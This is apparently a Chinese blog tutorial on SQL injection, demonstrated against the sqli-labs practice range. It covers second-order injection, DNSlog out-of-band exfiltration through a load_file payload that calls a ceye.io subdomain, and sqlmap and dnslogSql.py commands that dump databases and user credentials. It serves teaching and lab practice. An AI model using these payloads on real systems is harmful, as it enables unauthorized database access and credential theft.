SQL隱碼攻擊之二次,加解密,DNS等注入

朝朝_暮暮發表於2021-08-02

#sql注入之二次注入

1.注入原理

二次注入可以理解為,構造惡意資料儲存在資料庫後,惡意資料被讀取並進入到了SQL查詢語句所導致的注入。惡意資料插入到資料庫時被處理的資料又被還原並儲存在資料庫中,當Web程式呼叫儲存在資料庫中的惡意資料並執行SQL查詢時,就發生了SQL二次注入。

二次注入可分為兩步:

第一步:插入惡意資料

進行資料庫插入資料時,對其中的特殊字元進行了轉義處理,在寫入資料庫的時候又保留了原來的資料。

第二步:引用惡意資料

開發者預設存入資料庫的資料都是安全的,在進行查詢時,直接從資料庫中取出惡意資料,沒有進行進一步的檢驗處理。

 2.靶場演示

sqlilabs第24關

 發現預設使用者為admin密碼未知

 嘗試新建一個使用者admin'#進行二次注入

檢視資料庫,已經新增成功

登陸admin'#

可以修改密碼,我們檢視此頁面的網站原始碼,發現更新使用者密碼的sql語句如圖:

我們修改使用者admin'#的密碼的SQL語句為:

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

註釋掉後面的語句,就變成了修改使用者admin的密碼了,而admin'#使用者密碼沒有改變。

 #DNSlog帶外注入

1.帶外注入原理

帶外注入是為了解決一些注入沒有回顯,也不能進行時間盲注的情況。也就是利用其他的協議或渠道,如http請求、DNS解析、SMB服務等京資料帶出。

2.靶場演示

首先在http://ceye.io/註冊一個賬號,記錄以下資訊

 使用sqlilabs第9關進行演示

不會顯示任何資訊:

 構造pylaod:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 and if ((select load_file(concat('\\\\',(select version()),'.xxxx.ceye.io\abc'))),1,0)--+

在平臺上檢視返回的值:

 3.工具使用

工具地址 :https://github.com/adooo/dnslogsqlinj

需要使用python27環境

首先需要修改配置檔案:

 

 使用語句如下:

獲取資料庫名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs  
獲取資料庫security下的表名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables
獲取users表的列名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns
獲取uses表中的資料:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump

 #sql注入加解密

小夥伴們可能會碰到有的url中有base64編碼或者其他編碼,在此類注入時我們需要先夠造注入語句再進行轉碼,最後得到的編碼再注入。

sqlmap中有相應的外掛,可使用語句:

sqlmap -u http://xxxx.com/index.php?id=MQ== --tamper base64encode.py –dbs

或者進行中轉註入:

大體意思就是將傳參用base64編碼,再與url進行拼接。在開啟htt服務用sqlmap或其他工具進行測試這個檔案即可.

首先構造檔案:

大體意思就是將傳參用base64編碼,再與url進行拼接。

其中base64_decode()函式是將傳入的引數進行base64編碼。

file_get_contents()函式是用來將檔案的內容讀入到一個字串中的首選方法。

例如sqlmap:

python sqlmap.py -u "http://127.0.0.1/test.php?x=" -v 3

 

相關文章